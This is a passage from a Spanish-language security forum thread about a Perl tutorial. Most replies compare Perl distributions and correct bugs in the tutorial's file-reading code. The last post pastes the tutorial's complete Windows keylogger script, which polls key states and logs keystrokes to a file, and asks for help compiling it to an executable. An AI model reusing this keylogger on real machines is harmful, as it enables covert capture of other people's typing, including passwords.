• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    Starfield: el juego que revolucionará el espacio y la tecnología

    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • Perl »
    • [Guia] Perl Forever
    • Imprimir
    Páginas: 1 [2] 3   Ir Abajo

    Autor Tema: [Guia] Perl Forever  (Leído 17519 veces)

    Desconectado The X-C3LL

    • { L1 } Newbie
    • *
    • Mensajes: 66
    • Sólo la muerte te salva de la vida
      • Ver Perfil
      • 0V3RL04D 1N TH3 N3T
    Re:[Guia] Perl Forever
    « Respuesta #10 en: Marzo 08, 2012, 06:19:20 pm »
    Yo antes usaba Active Perl hasta que empezó a darme problemas a la hora de descargar módulos. Me pasé a strawberry por aquello "probar a ver que tal" y me enamoré. Hasta ahora no he tenido ningún problema, todo lo contrario, a la hora de descargar modulos con un simple "Install Loquesea::Loquesea" va instalandote recursivamente todos los otros módulos que de los que depende el que estabas buscando.

    Además es un proyecto open-source ;)
    En línea

    Sígueme en Twitter (@TheXC3LL)



    Desconectado kid_goth

    • { L7 } Juanker
    • *******
    • Mensajes: 1456
    • El Conocimiento se Limita Cuando dices NO PUEDO
      • Ver Perfil
      • BlogStudiantes
    Re:[Guia] Perl Forever
    « Respuesta #11 en: Marzo 08, 2012, 08:28:43 pm »
    Y definitivamente me quedo con strawberry, gracias The-Xcell, y ya que te pasas por aca que tal si nos regalas algun tuto ojala escrito por ti de Perl.... o por lo menos que tu recomiendes... que no sea este que ya estoy con el xD....
    En línea
    Cuando la percepción de vida que tienes encuentra en si que la muerte es inevitable y lo aceptas con humildad y agrado, es cuando realmente empiezas a amar la vida y adorar la muerte.






    Desconectado The X-C3LL

    • { L1 } Newbie
    • *
    • Mensajes: 66
    • Sólo la muerte te salva de la vida
      • Ver Perfil
      • 0V3RL04D 1N TH3 N3T
    Re:[Guia] Perl Forever
    « Respuesta #12 en: Marzo 08, 2012, 08:50:48 pm »
    Buff... Hace mucho tiempo hice un tutorial de introducción, pero sin duda el de Doddy es más didactico, asi que te recomiendo el suyo. Como mucho puedo hacer de vez en cuando algún tutorial (o traer de otras comunidades los que hice hace tiempo) de cómo construir exploits para vulnerabilidades a nivel web (sería una cosa similar al de cómo construir Kidnapping Trending Topics).
    En línea

    Sígueme en Twitter (@TheXC3LL)



    Desconectado kid_goth

    • { L7 } Juanker
    • *******
    • Mensajes: 1456
    • El Conocimiento se Limita Cuando dices NO PUEDO
      • Ver Perfil
      • BlogStudiantes
    Re:[Guia] Perl Forever
    « Respuesta #13 en: Marzo 08, 2012, 09:02:24 pm »
    En línea
    Cuando la percepción de vida que tienes encuentra en si que la muerte es inevitable y lo aceptas con humildad y agrado, es cuando realmente empiezas a amar la vida y adorar la muerte.






    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #14 en: Marzo 12, 2012, 03:59:56 pm »
    Yo aprendi del manual perl a dolor hecho por ka0s , solo es cuestion de buscarlo.
    En línea

    Desconectado Neutron

    • { L6 } Flooder del foro
    • ******
    • Mensajes: 833
    • Sea humilde.
      • Ver Perfil
      • Say what again?
    Re:[Guia] Perl Forever
    « Respuesta #15 en: Abril 06, 2012, 08:28:38 pm »
    Hey Doddy bro agrego el link del PDF aqui que habia preparado para mi porque me lo han pedido en varias ocasiones por MP, asi que mejor lo agrego aqui para el que desee lo descargue sin problems y se ahorra la molestia de tener que escribirme por MP  ;D

    DESCARGAR / VISUALIZAR

    Un saludo!
    En línea
    Solo la verdad puede hacerte libre, pero esa verdad se llama Jesus. Vease Juan 11:25.

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #16 en: Abril 06, 2012, 10:09:43 pm »
    Ok.
    En línea

    Desconectado Weyne

    • { L1 } Newbie
    • *
    • Mensajes: 61
    • Lo que se hereda no se roba
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #17 en: Abril 09, 2012, 05:37:50 am »
    Para aquellos que se encuentren en la parte de "0x19 : Listar directorios y manejo de archivos" y usen windows 7


    cambien la siguiente linea:

    Código: [Seleccionar]
    opendir DIR,"/";
    por

    Código: [Seleccionar]
    opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";
    y listara los archivos.

    acá el código del ejemplo quedaría así:

    Código: [Seleccionar]
    #!/usr/bin/perl -w
    opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";
    my @archivos = readdir DIR;
    close DIR;
    for my $files(@archivos) {
    if (-f $files) { #Verificamos que sea un archivo
    print "[Files] : $files\n";
    }

    if (-d $files) { #Verificamos que sea un directorio
    print "[DIR] : $files\n";
    }
    }

    Edito para evitar doble post:


    En la parte del tutorial donde se explica el codigo para leer un block de notas.


    Código: [Seleccionar]
    open (LEER,"yo.txt)";

    el sistema lanza un error de sintaxis, ¿por que?

    el error esta en que se cerro la comilla doble detras del parentesis.

    Código: [Seleccionar]
    open (LEER,"yo.txt");

    luego esta esta linea:

    Código: [Seleccionar]
    close FILE;

    se supone que la variable creada en el open es "LEER" y no "FILE".

    Código: [Seleccionar]
    close LEER;

    por ultimo el codigo final del ejemplo seria:

    Código: [Seleccionar]
    #!/usr/bin/perl -w
    chdir("c:/Users/NOMBRE_DE_TU_USUARIO/Desktop");
    open (LEER,"yo.txt");
    @text = <LEER>;
    close LEER;
    for my $word(@text) {
    print $word;
    }



    Saludos.
    « Última modificación: Abril 09, 2012, 06:11:03 am por Weyne »
    En línea

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #18 en: Abril 09, 2012, 05:10:42 pm »
    gracias por marcar los errores , no me habia fijado porque escribi todo rapido xDD.

    cualquier otro error encontrado decilo aca.
    En línea

    Desconectado Weyne

    • { L1 } Newbie
    • *
    • Mensajes: 61
    • Lo que se hereda no se roba
      • Ver Perfil
    Re:[Guia] Perl Forever
    « Respuesta #19 en: Abril 14, 2012, 09:34:34 pm »
    Hola, mira tengo un problema en la parte del keylogger cuando lo compilo me funciona bien, ahora el problema viene cuando lo quiero pasar a exe con perl2exe, el codigo es este.


    Código: [Seleccionar]

    #!usr/bin/perl
    #KeyCagator (C) Doddy Hackman 2010


    use Win32::API;


    my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
     

    while (true) {
    print "cerra la consola con perl2exe -gui\n";
    for my $num(0x30..0x39) {
    if (dame($num)) {
    savefile("logs.txt",chr($num));
    }
    }

    for my $num(0x41..0x5A) {
    if (dame($num)) {
    savefile("logs.txt",chr($num));
    }
    }


    }
     
    sub dame {
    return($come->Call(@_) & 1);
    }

    sub savefile {
    open (SAVE,">>".$_[0]);
    print SAVE $_[1]."\n";
    close SAVE;
    }



    #Mail : lepuke[at]hotmail[com]
    #Blog : doddy-hackman.blogspot.com
    # ¿ The End ?


    me tira error en esta linea:

    Código: [Seleccionar]

    use Win32::API;




    y en el ejecutable:

    En línea

    • Imprimir
    Páginas: 1 [2] 3   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • Perl »
    • [Guia] Perl Forever
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more